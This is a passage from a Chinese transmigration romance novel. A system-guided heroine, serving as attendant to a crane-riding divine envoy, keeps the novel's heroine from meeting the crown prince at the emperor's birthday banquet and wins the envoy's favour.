何附子透过朦胧的屏风望去,虽瞧不清人脸,但依稀可见德仁帝脚下虚浮,背影沉挫,想是郁郁之色。
“圣上瞧着似是不悦。”
一旁忠勇侯夫人连忙拉着她低声道:“小点声,大约是今年神使大人又不会来了,所以圣上心忧。”
她俩挨坐着,忠勇侯夫人凑到她身边低声解释:“圣上每年都写信请护国神使出席生辰宴,但神使一次也没来过。听闻前几日神使驭鹤游城,众人皆见。圣上啊,想在生辰当日与神使同游,可神使却回话说圣上仙缘未至,不可妄念,想来这几日圣上都忧愁此事呢。”
何附子听着好笑,她江湖游历多年,见多了神棍骗子,皆是用些天人之说诓人,没想到连圣上都会被骗。
高台之上,德仁帝坐于主位,瞧着空无一物的祈神井面色沉顿。
一旁的太监总管许公公见他许久未言,小心翼翼轻唤道。
“圣上,圣上,诸位大臣命妇们都等着您发话呢。”
德仁帝回过神来,看了遍殿内众人问道:“礼儿呢?”
“太子殿下差人报信,正快马加鞭从潼关赶回,应当晚些便到了。”
德仁帝点点头,又望向殿顶叹了口气:“看来今年神使是不会来了。”
许公公不敢多言,躬身退到一旁。
德仁帝摆了摆手,朝台下众人道:“今日是朕的生辰,众位爱卿不必拘束,纵情畅饮,不醉不归。”
“多谢圣上。”
众人举杯朝高座之上共敬一杯,旋即歌舞乐起,舞女们在吹箫弹奏中翩然起舞。
美人伴舞,众人正待执箸用膳,忽而听闻一声高鸣鹤唳自天顶而来。
抬头望去,祈神井中弯月当空,月光倾泻如泼墨挥洒入殿,一队白鹤自井中盘旋而下,宛若搭建一道天梯。
浩浩夜空中,悠扬清亮的笛声自明月而来,似清风朗日,绵延山脉,玉泉击流。
德仁帝听到这笛声,原本怠懒无神的双眼顿时亮得惊人,连忙起身,快步走下高台去迎。
何附子也抬头望去,见当真有鹤群飞来,盘旋起舞,心中讶然。
然而不待她震惊,就见祈神井中,一只红顶黑翼的巨大仙鹤自天外跃然而入,滑翼俯冲而来,又在临了地面众人惊呼中骤然展开双翼腾飞而起,掀起一阵巨风,环殿飞驰。
仙鹤背脊之上端坐两人,皆是锦衣华服,风姿绰约。
为首少年盘腿而坐,银袍侧披,里衬红色半袖,金镶红玉网璎珞挂脖,五帝钱带束腰,眉心一点红,墨发高束,发冠上坠红绒绣球,银羽披风系于身后猎猎风起,仙人之姿可见一斑。
鹤群围成一圈挥翼环绕,似是起舞朝拜,羽翼划动的气流扑面袭来,吹乱众人衣袖。
德仁帝仰头望着殿中神迹,目光掩不住的痴迷艳羡。
何附子透过屏风,见仙鹤徐徐降落在德仁帝面前,长颈低垂,垂下双翼为梯,上面端坐的两人起身顺一侧鹤翼而下。
赵玉屿此时无语至极。
她同子桑一道乘鹤而来,原本坐在子桑身后大有仙尊神侍之风范。
还没等她臭美一番,结果小白一瞬间从殿顶90度俯冲而下,惊险程度堪比跳楼机,还是没安全措施那种。
她慌乱中只得紧紧抱住子桑腰肢贴着他不敢乱动,一瞬间什么风范身姿皆没了。
子桑的银羽披风骤展鼓动,瞧着甚是帅气,结果落地后披风垂下将她整个人埋在里面,灰头土脸,她还得从里面钻出来。
这哪里是让她狐假虎威,分明是自己来装逼耍帅的。
21. 第 21 章
显然,子桑这货对自己的出场方式极为满意。
他悠悠下地,对一脸狂热崇拜的德仁帝道贺,语气却轻飘慵懒不似真意。
“地上皇今日寿辰,本尊特来祝寿,献上寿礼。”
身后的赵玉屿随着他的话将准备好的紫檀盒子恭敬奉上。
子桑虚抬了下手,缓缓介绍:“此乃瑶山金丹,金丹入口,百病皆除,可保地上皇康安。”
德仁帝听到这话,顿时双眼泛出金光,双手捧过盒子如获至宝,迫不及待打开。
只见小叶紫檀香盒里面的白绒布上躺着一颗半个指甲大小的黑色药丸,在盒子打开的一瞬间,满屋飘香,隐隐可闻是一股独特的药草香味。
赵玉屿看到药丸那刻嘴角忍不住一抽,旋即眼观鼻息装作没瞧见。
这药丸比子桑逼她吃的那颗要小上许多,她严重怀疑是炼药剩下的边角料凑和成的。
望了眼眼前一脸淡笑,眼底戏谑的子桑,赵玉屿心中想着,是这位神仙干得出来的事。
德仁帝却不知其中原委,见了药丸大喜过望,赵玉屿甚至觉得他抱着盒子快要喜极而泣。
“多谢神使赐福!还请神使上座!”
德仁帝上前一步,热忱地想揽着子桑的手同上高台,子桑却先一步甩罢衣袖,双手顺势背于身后。
“地上皇请。”
德仁帝略显尴尬,但很快便掩去了神色,笑着引子桑上座。
赵玉屿身为神使侍女,也顺势随着他们一道走上高台。
高台之上除了龙椅,左侧还备好了一张斜侧而放的雕双鹤环形圆椅。
子桑并不同德仁帝相互谦让先行落座,而是直接施施然坐于圆椅之中,疏懒靠在椅背上。
赵玉屿心中忍不住吐槽,还好子桑没直接坐在龙椅上。
她站在子桑身旁,这个视角很好,一扫便能瞧见台下众人,就连偏殿那边的动静也能观察到。
她一眼望去,就看到屏风后锦衣华服的美人堆里格外引人注目的一道身影。
倒不是说美得多出众,而是那人身上的气质,蕙质兰心,雅致清丽,就像是雨后梨花落井,飘在平静温凉的水面荡起浅浅涟漪,清雅平和,只望去便让人心生安宁。
但温和的气质中藏着一份倔强,是踏遍山川、济世救人,饱经历练的不屈和坚韧。
这等气质,同小说中描绘的女主一模一样,只一眼望去便能让人注目。
赵玉屿不由得感慨,难怪太子和裴小侯爷都对她一见钟情,这般美人,不是皮囊的俗媚,而是灵魂的高洁,便是她一个姑娘瞧见了也不自觉心生亲近。
又想起故事中女主遇到狗太子之后遭遇的痛苦,赵玉屿忍不住暗骂,对尚未见面的男主印象已经差到了极点。
好好一个美人被折磨得差点香消玉损,夫君亡故孩子也没了,这对女主来说是多大的痛苦。
赵玉屿瞧着此时宴席上同旁侧夫人笑意盈盈,满面幸福的何付子,心中愈加难过。
妈的,男主那个狗东西,不能对人家负责就不要招惹,招惹了又弃如敝履,抛弃了见人家夫妻和睦幸福,又心生妒意扭曲爬行想要将人夺回来。
渣男,呸!
她的腹议旁人自然并不知晓,宴会开始,德仁帝今夜甚是高兴,命人奏乐起舞,开怀畅饮。
舞女再次飘然上场,身姿婀娜,顾盼生辉。
酒过三巡,何附子觉着殿中有些闷热,同一旁的忠勇侯夫人交谈几句,起身去更衣透透气。
赵玉屿正时刻盯着她呢,见她起身,便也借更衣之名出去。
原著里,正是女主更衣回殿途中遇到了从太和门匆匆赶回来的太子,才有了后面囚禁杀夫堕胎一系列虐生虐心惨无人道的狗血孽缘。
她必须要阻止两人相见。
子桑似乎并未留意到她,正含笑同一旁的德仁帝饮酒赏乐。
出了大殿,赵玉屿跟在女主身后不远,转了个路弯拐到隐蔽处,刚想跑上前叫住她,却先一步被人唤住。
“玉儿。”
赵玉屿下意识扭头望去,就见两个窈窕身影从大殿方向匆匆赶来。
待她回头再望,黑夜中已经不见了何附子的身影。
赵玉屿登时着急想要追上前,却被赶来的那位妇人一把拉住手。
“玉儿,真的是你!”
那妇人似是喜极而泣,语气亲热唤道:“玉儿,三年不见,你怎么都瘦了。”
赵玉屿不喜同陌生人如此亲昵,抽回手皱眉问道:“你是何人?”
那妇人很是惊讶,似又伤心:“玉儿,我是娘亲啊,你,你不认识娘了吗?”
旁边一同前来的少女见状,登时不满斥责:“姐姐,虽然你如今受护国神使器重,但到底也是咱们赵家的女儿,怎么能连母亲都不认了呢。”
她愤愤不平,“前些日子父亲记挂你,担心你在奉仙宫过得不舒坦特意去寻你,想给你送些上好的补品,哪知你竟也闭门不见,你心中还有赵家吗!”
那妇人听她说完了话,才拿帕子擦了擦眼泪制止道:“淑儿,不得对姐姐无理。你姐姐如今贵为神侍,平日事忙,一时顾不得家人也是情理之中,但玉儿心里一定还是记得咱们赵家的。”
原来是原主的主母和妹妹。
好一副恶人先告状的绿茶嘴脸。
赵玉屿冷眼瞧着她们一唱一和,若是寻常,她倒能愿意耐着性子恶心恶心她们,但此时时间紧迫,她也不打算同她们浪费时间。
“原来是你们二位。赵夫人赵小姐,看来你们是忘了,我如今得神使大人赐福,得名玉儿,早已在赵家族谱上划去姓名,如今我同赵家并无瓜葛,前程往事早已忘却,还望二位自重。”
说罢她扭头便要离开,没想到赵淑听到这话顿时气急,见她要走,扯住她的胳膊质问:“赵家好歹养了你十几年,你怎能如此狼心狗肺!”
一而再再而三被阻拦,赵玉屿心中早已不耐烦,见她还敢蹬鼻子上脸,果断选择暴力解决。
“啪!”
清脆响亮的一巴掌,让两人当场懵在原地。
赵淑捂着脸,不可置信地望向她:“你,你竟敢打我!”
“打你怎么了,还得提前知会你一声吗?”
赵玉屿甩了甩手,一副不耐烦的嚣张嘴脸,“你口口声声赵家对我有养育之恩,就是将我扔在庄子上十几年不管不问,你在当众星捧月的娇小姐时,我差点被饿死。我到奉仙宫三年,赵家连一次问候都没有,一次钱也未曾寄过,我在奉仙宫受到欺负不公时,有人替我做主吗!如今见我得了神使大人器重,就想起赵家还有我这个人了是吗?放你娘的屁,如今赵家族谱上没有我的名字,我同你们赵家没有一丝一毫的瓜葛!你们再干乱攀扯关系,小心我去告诉神使大人,赵家不尊神使旨意!当心掉脑袋!”
赵淑见她居然敢骂人,气急败坏:“你,你竟敢出次污言秽语!”
赵玉屿直接鼻孔朝天,满目戏谑:“我都敢打你了,骂你几句怎么了?”
想到被赵家抛弃实际上早已生病高烧而亡的赵玉,她心中更是来了气,见赵夫人还要说话,直接撸起袖子一瞪眼,出言恐吓。
“再敢跟着我,连你一起打!”
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赵夫人见她凶神恶煞不似有假,想说的话顿时噎了下去。
见二人认怂,赵玉屿冷哼一声,掸了掸被她们拽过的衣袖转身就走。
赵淑望着扬长而去的身影,眼含热泪忍不住哭出了声,跺脚委屈道:“娘,你看她如今这副小人得势的样子!居然还敢打我!”
以往赵玉屿一向是怯生生的性子,如今却趾高气扬嚣张至极,踩在她们的脸上痛斥,简直同之前判若两人。
原本被自己随意嘲讽玩弄的人现在却调转身份,如此巨大的落差让赵淑根本无法接受。
赵夫人冷声道:“她如今是神使身旁的红人,你能如何?”
赵淑恨得牙痒痒:“当初就不该让她去奉仙宫。”
“淑儿,今日之事就当没发生,也不可对外说半句玉儿的坏话。族谱可以篡改,但她身体里流着的依旧是赵家的血脉。只要玉儿一日是神侍,与你日后婚嫁还有你弟弟的仕途便大有裨益。”
赵淑却冷哼一声,面露嘲讽:“我看不尽然,神使二十即亡,圣上如今已是耳顺之年,太子殿下又一向对神道之事有异,我看她还能嚣张几年。”
“住口!”
赵夫人听到这话立刻呵斥,“我看真是平日太过纵容你了,这些话是你能说的吗!若是被旁人听到,咱们全家的脑袋都得掉!”
赵淑很少见母亲这般严厉,也吓了一跳,怯怯道:“娘......”
“听着,娘知你心中不平,但不论将来如何,天下是圣上的天下,咱们只需做好臣子的本分,不该说的话就给我死死咽在肚子里。如今你姐姐是神使的侍女,这就是咱们赵家的荣耀。就算她不待见咱们,咱们也得笑脸相迎,知道吗?”
赵淑虽然不情不愿,却也不敢违背:“知道了。”
见她听话,赵夫人又心疼地摸了摸她的脸安抚道:“淑儿你记住,三十年河东三十年河西,风水是会轮流转的。如今她高楼雀起,咱们便该忍气吞声,借势登楼为我所用才是关键,待日后她高楼塌落,不用咱们出手,自然有人狠狠踩上一脚。”
赵玉屿自然不知道此时母女俩的心思,她也没空理会,只抓紧时间完成主线任务。
然而她是第一次来到皇宫,对于宫中布局并不清楚,也不似何附子有宫女引路,一时迷了方向。
另一旁,何附子从净芜殿出来,并不想那么快回宴会。
觥筹交错、钟鸣鼎食的宴会她未有多喜欢,只觉得殿内闷得慌,索性遣散了引路的宫女,自己沿着原路返回,闲逛散散心。
忽而闻到一股清雅独特的香气,何附子眼前一亮,不禁寻着香味走去,果不其然,在不远处的御花园里瞧见了月色下怒放的昙花。
昙花可入药,有清肺止咳、凉血止血、养心安神的功效,只是极其娇贵,养殖条件苛刻,寻常不易见,更何况这昙花开得极好,一看便是被精心养殖,着实让人喜欢。
她走过去,正待细细端赏,忽而听到不远处传来几道匆匆脚步。
脚步声仓促有些凌乱,似是着急赶路,正是朝她这边赶来。
何附子望去,可见密密花丛后随着来人步履摇曳的橙黄灯笼,还有灯光照耀下隐隐可见的四爪龙纹。
四爪为蟒,难不成是太子?
眼见人便要穿过花丛而来,何附子怕失了礼仪,惹裴小侯爷被嘲,连忙起身想要退居一侧行礼。
却在起身的瞬间,忽而口鼻一紧,被人捂住嘴扯到一旁的假山后。
脚步匆匆间衣摆翻动发出细细声响,橙黄灯笼一顿,向这边照来。
“谁在那里?!”
22. 第 22 章
假山后,缓缓走出一道窈窕身影,却是宋承嵘从未见过的娇俏面容。
他上下打量一番,见这少女一身圆领红袍,头梳双髻,红绳绑发,腰系黑色细带,眉间一点红,俨然是摘星宫人的装扮。
宋承嵘眯眼问道:“你是摘星宫的人?”
赵玉屿单手置于身前,稍稍弯腰行了一礼,笑吟吟应道:“小女乃是抚鹤神使之神侍,见过太子殿下。”
与此同时,赵玉屿也悄然打量着他。
不愧是男主,长得没话说,昏暗灯笼光下可见棱角分明的俊容,剑眉星目,凤眸高鼻,一双凉薄唇。
他望向赵玉屿冷然:“摘星宫的人鬼鬼祟祟在这里作甚?”
赵玉屿不卑不亢:“小女今日随抚鹤神使赴宴为地上皇献宝贺寿,方才出恭后闻到异香,见此地有昙花盛开,不免驻足停留片刻,不想叨扰了太子殿下。”
宋承嵘听到这话忍不住讥讽:“都说摘星宫人人修仙得道,怎么还会要出恭。”
“人食五谷杂粮,自然会有三急,道法自然,不可忤逆。更何况小女修为尚浅,不及抚鹤神使超凡登仙。”
“你这小道姑倒是能言善辩。”
“小女只是坦言。”
身后的侍卫小声提醒:“殿下,快至子时了,圣上还在等您呢。”
宋承嵘听到这话,也不再难为赵玉屿:“夜深露重,小道姑还是快回宴会去寻你家主人吧。”
赵玉屿含笑:“多谢太子殿下提醒。”
宋承嵘如来时一般匆匆离去,赵玉屿看着渐行渐远,最终消失在远处的那点橙光,才松了口气,转身望向假山后面色苍白,似是耗尽浑身力气的何附子。
“你还好吧。”
何附子此时心慌意乱,方才听到那曾今朝思夜想、极为熟悉的声音的一瞬,犹如晴天霹雳,将她震在原地。
曾今,这声音曾在她耳边低低诉说过缠绵情话,却也诉说过冷漠决绝的诀别让她痛彻心扉。
她花了三年时间才将这声音忘记,敞开心扉诀别了过去,可如今,却又如此突兀仓促的陡然再次出现在她的世界里。
太子,呵,他居然是太子。
难怪,难怪他当初那么决然离开。
之前的情爱,不过是权贵至尊的情场游戏。
她此时呼吸急促,脑海一片空白,强忍着心痛扯了扯嘴角:“多谢神侍关心,我没事,只是有些累了。”
赵玉屿面上关切道:“那我送你回宴会吧。”
“不,不用。”
何附子连忙推脱,“我,我身体实在不适,就不回宴会叨扰诸位雅兴......我便先行出宫去了。”
赵玉屿点头笑道:“那也好,还请夫人保重身体。”
何附子道谢后仓皇离去,她此时头脑紊乱,并未想到为何这小道姑会突然出现在这里,又为何将她拉到假山后。她只想尽快逃离这座令人窒息的皇宫,再也不要踏足,再也不要,见到那个人。
*
回宴会的途中,赵玉屿的脑海中传来可亲可爱的系统提示音。
【恭喜宿主完成主线任务,获得任务奖励星元雾,道具属性,中级道具,道具属性:致幻,使用次数:一次。】
赵玉屿立刻问道:是群控还是个控?
【全体致幻哦,雾气半径50米之内皆可致幻。】
赵玉屿眼前一亮,好东西啊。
逃命绝佳道具。
首战告捷,赵玉屿意气风发,走路带风,昂首阔步雄赳赳气昂昂走回大殿。
殿中众人已喝得酩酊大醉,德仁帝正侧靠在龙椅上同子桑说话。子桑不知说了什么,让德仁帝龙颜大悦,连连大笑,多饮了一杯酒。
高阶之下的席座,宋承嵘坐于首位,举杯同子桑遥遥敬酒,虽面色含笑,但瞧着高台之上的银袍少年却笑不见底。
裴小侯爷正和同僚喝得畅快,一点也没意识到自己老婆差点就无了。
赵夫人瞧见她,仿佛之前的事情从未发生,朝她和善一笑。赵淑显然没有她娘老道,瞧着赵玉屿的眼神带了几分恨意。
赵玉屿对此并不在意,她来这的目标明确,拆散男女主,救活子桑,然后美美回家。
其他的宫斗、宅斗副本她不CARE。
子桑许是多喝了几杯,平日里玉白的面容有些潮红。
赵玉屿不敢打扰他的雅兴,站在他身后替他又倒了杯酒。
子桑望了她一眼,似是揶揄:“狐狸当得如何?”
赵玉屿一愣,他不是一直在殿中吗,怎么知道外面的事情。
一低头,瞧见从子桑银白衣袍下钻出的一个小猴头,冲她龇牙咧嘴做了个鬼脸后,消瘦细长的猴爪飞快扒下一块糕点又钻入桌下。
赵玉屿:“......”
这死猴子居然也跟来了,肯定又是它告的状!
赵玉屿拿不准子桑知道多少,心下百转间,凑到他耳边低声道:“甚是开怀,不过遇到了只狸猫。”
狸猫?
子桑听到这话低低笑了,宋承嵘一向自傲,若是他知晓被人称作狸猫,怕是得活活气死了。
德仁帝见他笑得开怀,偏身凑近问道:“神使笑甚?”
子桑一撩衣袖:“无甚。”
他略晃站起身,揽袖吹笛,悠悠笛声轻扬起,鹤鸣长空,巨大的飞影遮住祈神井的一泻天光。
子桑慵慵懒懒道:“今日酒醉,本尊先行告退。”
德仁帝刚欲挽留,子桑已在众人惊呼中拉住赵玉屿的手腕飞跑两步,从高台上潇洒一跃而下。
银袍风舞,衣袂翩飞,仙鹤骤然从祈神井冲下大殿,以电光石火之势接住纵身跃下的两人,在大殿飞旋一周后自祈神井冲上云霄,云移遮影,不见仙人。
德仁帝仰头艳羡痴迷的望着仙鹤消失的一端天井,久久未动。
这便是他心心念念的仙人之姿,驭鹤飞行,潇洒恣意,上可九天揽月,下可五海遨游,闻与天地寿,长命无绝期。
原本他只以为是一句妄言,可子桑的到来让他看到了希望。若能得仙人赐福,他便可肉身涅槃,修仙成神,永离轮回之苦,不比当这人间帝王逍遥快活!
宋承嵘看着父皇痴迷的神色,嗤鼻冷笑,不过是术士欺骗世人的小把戏,却让他曾今英武的父皇如此痴迷,荒废朝政,整日炼丹修仙,甚至甘愿俯首,尊其为上,乃至整个天下都以修道者为尊。
可笑可叹。
若他临政,必定煞一煞这不正之气,重正皇权之威!
宴会众人心思各异,而引起这心潮的两人此时却已乘风而去。
云絮飘绕,赵玉屿望向四周问道:“神使大人,咱们不回奉仙宫吗?”
“去醒醒酒。”
话音刚落,仙鹤蓦然俯冲,赵玉屿连忙抱住子桑的腰肢坐稳。
小腰抱
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上两三回便熟悉了,赵玉屿有些肆无忌惮,又有些心猿意马,思绪翩飞间仙鹤已经落地。
赵玉屿跟着子桑下到地面,却发现来到了一座山头。
山上悬崖旁立着一棵银杉树,上面挂了不少红绸,晚风轻荡间飒飒作响。回首望去,可见帝都城内的万家灯火。
猴大一瞧见杉树便熟练的爬了上去,一只细长的胳膊攀着树枝来回荡悠。
赵玉屿扶着一条红绸,借着隐隐月光可见上面皆是祈愿金字。
“说说看吧,今晚发生了什么趣事?”
她寻声望去,子桑躺在一块大石头上,随意翘着二郎腿,双手枕在脑后。
“猴大不都告诉您了吗?”
“它的话向来只可信七分。”
赵玉屿知道猴大必定是添油加醋诋毁她一番,顿时狠狠瞪了它一眼。
猴大正在树上扒着从宴会偷带的香蕉,也翘着二郎腿,斜眼瞧她,一副被戳破了心思死猪不怕开水烫的模样,甚至将香蕉皮扔她头上。
“......”
赵玉屿扒拉下头上的香蕉,有些气馁道:“小女冤枉。”
子桑见她上来就叫屈,忍不住笑了:“你都不知道猴大说了些什么,便叫上委屈了。”
“反正它是不会说我什么好话的。”
赵玉屿皱了皱鼻子,“小女离开宴会后,赵夫人和赵小姐追了出来,拉着我便是一顿亲近,让我莫要忘了赵家,我没理她们。赵家小姐奚落我,我没忍住就轻轻拍了她一巴掌。”
子桑想起猴大“咵嚓”一耳刮子的比划,嗯,那一巴掌是很“轻”。
“然后我去更衣的路上,闻见一股奇特的花香,一时好奇便寻了去,没想到却瞧见一个美妇人正在赏花,又瞧见不远处有人赶来,便拉了那妇人想躲起来。”
“为何要躲?”
“原本是不要躲的,可我远远瞧见来人衣服上的四爪龙袍,定是太子殿下,便心道不好。”
赵玉屿早已想好了说辞,故意压低声音煞有其事,“我听说,太子殿下性淫,府中姬妾成群倒也无甚,可他还有个不为人知的怪癖,喜爱夺他人之好,专爱人妻美妇,若是瞧见合心意的都挪不开眼。”
原著里曾经提到过,宋承嵘回帝都后思念何附子,派人去寻却早已人去楼空,才发觉自己早已爱上了何附子,之后便纳了不少同何附子容貌相近的妾室,其中有的甚至是寡居妇人,只因同何附子容貌有六分相似,他都将人纳入太子府,还曾因此惹人非议。
后期他成为皇帝后,女主没少被这些被当做替身的妃嫔妒忌为难。
狗血小说吧,必定得来这么个套路。
太子纳妾的八卦帝都贵妇圈早就传遍了,奉仙宫自然也知道一些。
她圆得倒也合情合理。
赵玉屿叹了口气:“我见那妇人貌美,又正好是太子殿下喜欢的那款,若是被太子看上可不就毁了人家吗,所以我情急之下就拉着她躲在假山后面。没想到被太子殿下发现了踪迹,我便替那妇人出去,同太子殿下说了两句话,之后便回来了。”
子桑忽而状若不经意间悠悠说道:“你若是喜欢太子,我可将你指派给太子当侧妃。既是我的侍女,想来太子也不会不接受。”
赵玉屿听到这话顿时吓得花容失色,连连拒绝:“别别别,神使大人,我知道您这人心好,但这鸳鸯谱还是不能轻易点的,容易促成怨偶。”
23. 第 23 章
子桑自然没打算将她送给太子,这丫头自己用得正合心,如何能便宜了他人,方才只是随口一试探。
但他也不知怎么的,听见赵玉屿左口一个太子殿下右口一个太子殿下,心中烦闷得慌。又不禁想到,赵玉屿几番恳求自己带她去参加宴会,又恰巧在皇宫遇见了太子,是否存了攀龙附凤的心思,此去宴会就是为了邂逅太子。
想到这,子桑下意识便赌气说了那话。
但说出的一瞬间又有些后悔,心想若是赵玉屿真有丝毫面露喜色,想嫁给太子的意思,他难不成真将人送去。
那自然是不能的,他必定得狠狠惩治赵玉屿一番,让她知道叛主的下场。
此时见赵玉屿一脸坚决的拒绝,子桑心中舒坦,却又有些好奇,偏头望向她:“你既然不喜欢太子,为何要替那妇人出面,关你何事?”
赵玉屿叹了口气,一脸正义:“怪就怪我这个人向来热心肠,尤其对美人,瞧着那妇人美貌,又猛然想起太子的做派,当时也不知怎么的,一时脑热就冲了上去。”
她也歪了歪脑袋似是疑惑,“而且有件事情很奇怪,后来我瞧那美妇脸色煞白不太好,就想送她回宴会,但她却死活不愿意回去硬是要出宫,我也只好随她了。我总感觉她好像认识太子,说不定之前就被这太子欺负过,吓到了呢。”
赵玉屿说得九真一假,只错了缘由,其他的皆事无巨细告诉子桑,并无纰漏,反而瞧着真切。
见子桑并未再多说,赵玉屿又上前一步,凑在他面前说宋承嵘的坏话。
“神使大人,您可千万别乱点鸳鸯谱。若要我嫁给太子,我宁可当场抹脖子,那太子殿下姬妾成群,属实不是良配。而且小女此生只想侍奉神使大人身侧,一心求道,有神使大人您这般出尘绝世的神仙在,旁人岂能再入我眼。”
子桑和太子一向不对付。
太子算是半个唯物主义,只信皇权在上,一心掌权,跟他老爹志向不同,自然也不喜被他视为江湖术士的子桑和奉仙宫。虽然面上恭敬,却心底鄙夷厌恶至极。
子桑一直知晓太子对他的厌恶,他也瞧不上太子的虚伪做派。
原著中是如此诠释,虽然这段时间的相处,赵玉屿发现原著和真实的子桑性格上有所不同。她不知道真实的子桑对太子是何种情绪,但赵玉屿想,依着子桑这自负自傲的小心眼性子,一向平等地瞧不起所有人,自然也瞧不上太子。
在子桑面前说太子坏话,准没错!
果不其然,子桑虽未多言,却在昏暗的黑夜里略翘起嘴角。
他心中难免开怀,觉得赵玉屿不愧是他的侍女,真是有眼光。
手指轻翻间玉笛已抵在唇边,子桑洋洋洒洒吹奏了一曲,曲调难得的欢快活泼。
【攻略对象好感度增长5%,当前好感度45%】
果然,这子桑是真讨厌太子。只说了几句太子的坏话,许久不增的好感度就涨了5%。
赵玉屿见马屁拍对了,暗自欣喜,一曲既罢,更加卖力的夸赞。
“神使大人吹得真好听,小女从未听过这么好听的笛声。”
“神使大人好厉害啊,便是帝都最好的乐师团加起来也不及大人一分。”
“此曲简直是天外之音,小女有幸能听到神使大人奏曲,当真是三生有幸!”
已经被三言两语钓成翘嘴的子桑曲指敲了敲她的脑门:“你这马屁拍得也太响了。”
赵玉屿捂着脑门“哎呦”夸张喊了一声,旋即一脸理所当然:“小女说得没错啊,普天之下除了神使大人,还有谁能以笛驭兽,神使大人的笛声天下一绝,无人能出其右。能有幸听到神使大人的笛声,简直是小女毕生之荣光,祖坟上都能冒青烟。”
子桑见她马屁越拍越来劲,越说越离谱,伸出两只手捏着她的脸蛋一通乱:“你这张嘴,死得也能被你说成活的。”
手中的脸蛋手感极好,子桑玩了好一会儿才松开手,难得来了兴致,他再次将玉笛抵在唇边:“给你看个好玩的。”
赵玉屿被捏得脸蛋生疼,她双手捂着脸刚想委屈讨巧,忽闻笛声再次响起,不同于方才的雀跃欢快,这次的笛声清悦婉转,飘飘乎似鸾吟凤唱,如聆仙乐。
忽而,眼前似有无数点点微光浮动。
赵玉屿睁大眼眸,看着飘浮在半空的萤火虫。
这些小萤火虫随着笛声翩然起伏,或旋或舞,仿佛从玉笛中飘浮而出似水波动的道道音符。笛声陡然变调,成群的萤火虫随着曲调忽而向一团凝聚,再在半空骤然炸开似流雨烟花,环绕在起舞的仙鹤四周,炸开成不同形状的烟花,时而似牡丹绽放,时而似星辰坠落,时而似钟环飞旋。
赵玉屿怔怔的望着眼前,如梦似幻,如临仙境,弦月高悬,仙鹤独舞,星光浮动,老杉树在长风中飒飒作响,似是浅唱低吟,和歌载舞。
一身银袍红衣,鹤绒高顶的少年坐在山间的大石上吹奏玉笛,月光倾泻而下,将他的衣服散着莹润的银光,仿佛笼罩在雾中,在雨中,在风中,似乎伸手可触,却又不可触及。
赵玉屿心中有些哀婉。
或许在无数个夜晚,子桑便是坐在这块大石头上,向着自己不可更改的命定人生吹响了玉笛。
他争取过,反抗过,最终只能将一切的不甘化为笛声飘散,然后坦然赴死。
那天晚上,赵玉屿不知笛声吹了多久,也不知夜幕过了几更。
她静静坐在子桑的身旁,双手捧脸听着他一曲接一曲的吹着,星移斗转,云遮月淡,仿佛这个夜晚永远不会过去。
直到清晨,在山间草叶上凝聚的露珠轰然坠落叶尖时,赵玉屿从酣甜的睡梦中醒来,发现四周一片银白,她有些懵懂迷糊的揉了揉眼睛,才发现银白的羽翼盖在自己身上。
耳畔似有温热的鼻息传来,轻微的呼吸扫过肌肤,微微的痒。
她扭头望去,入眼便是子桑熟睡的面容,他阖着双眸,呼吸匀称,纤长浓密的睫毛遮挡住寻日里眼中的阴翳和死寂,在羽翼笼罩的银白之中,他的脸柔和而干净,像是寻常卧花宿眠的少年郎。
赵玉屿此时正枕在子桑的怀中,两人睡在大石头上,仙鹤窝在一旁,巨大的羽翼盖在他们身上。
羽翼虽轻却柔软温暖,抵御一夜风寒。
子桑许是昨日喝了些酒,还未醒过来。赵玉屿连忙起身,整理了下子桑被她枕得略皱的衣摆。
她定是晚上睡觉不老实怕冷,才窝在子桑怀里。
若是被子桑发现,必然又要想点子罚她。
赵玉屿刚起身,子桑便醒了。
他轻蹙了蹙眉头,缓缓睁开眼睛,初时一点迷茫,旋即便恢复了清醒,起身撑起胳膊伸懒腰打了个哈欠,忽而揉了揉肩
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头,似是对身上的酸麻有些奇怪,但也并未多问。
赵玉屿见他未多想,心里暗暗松了口气。
两人跳上鹤背,猴大已经从树上荡下来,正好落在背脊。
展羽而飞,这山离奉仙宫不远,很快两人便落在了宫中北面的温泉汤浴旁。
温泉雾气袅袅,热意滚面。
子桑跳下鹤背,径自走向温泉,旁若无人的边走边脱下衣衫,件件衣衫丢了一路,在赵玉屿瞠目结舌的目光中,他站在温泉池旁时已经脱下了最后一件亵裤,优哉游哉滑入池中。
赵玉屿:“......”刺激。
摸了摸鼻子,还好没流鼻血。
然而脑海中是挥之不去丝绸般顺滑的长发,光洁的肌肤,少年人特有的纤细却并不瘦弱的后背,她抱过的细腰,再往下,修长的双腿和白皙的脚踝,还有圆润的......
咳。
道心不可乱。
猴大已经熟稔且任劳任怨的捞起地上散乱的衣服抱在怀里,一路小跑送去脏衣篓中。
赵玉屿正想着要不要先行告退,毕竟往常子桑泡澡从未让人服侍。
正待抬脚离开,就听懒洋洋的话轻飘飘传来。
“你压了我一晚上,就这么走了?”
赵玉屿:“......”
怎么说得这么暧昧呢,真是。
人家怪害羞的。
见子桑秋后算账,赵玉屿扬起笑脸,快步走到温泉池边跪下,狗腿的为他按摩肩膀。
“小女不是怕打扰了神使大人沐浴嘛,神使大人对小女福泽深厚,简直无以为报,小女这就给将功补过您按摩,必定让大人松筋活骨,浑身舒坦。”
手上的力度的确舒坦,一重一轻的按在肩颈处,指腹在按压时毫无保留的肌肤相亲,描摹出道道轨迹。
柔软,细腻,渐渐的,原本略微冰凉的指腹温度同他的体温一样温热。
心绪不知何时顺着肩颈处的指尖游走,忽而想起鹤背之上少女紧贴他的身体时的温软,也是这般酥麻细痒,仿若从后背顺着道道交织错杂的经脉涌动全身,带起阵阵燥意。
也是这般,也是这般......
子桑猛然睁开双眼,眼中一点黑亮尽现错愕,又蓦然垂下眼帘,丝丝缕缕弥漫的雾气遮掩去他眼中的慌乱。
忽而身后传来少女的一声惊呼,将他从心猿意马中拽出。
他以为少女发现了不妥,连忙坐直身子一时又羞又恼,头一次的慌乱,不知该如何解释。
却见赵玉屿的目光越过他望向不远处,眼中满是震惊。
赵玉屿正殷勤的给小祖宗进行按摩服务,忽而见远处雾气蒸腾的水面似乎浮来一个黑影。
那黑影庞大,占据了小半个浴池,水面雾气上却只隐隐一个小小的黑影。
赵玉屿一开始好奇,待那影子悄然靠近后,才发现那水面下的庞大黑影居然是一条鳄鱼。
子桑居然在温泉池里养鳄鱼!
这还不是最离谱的,最离谱的是,那鳄鱼两只明黄的眼睛中间,站着一只娇小的身影。
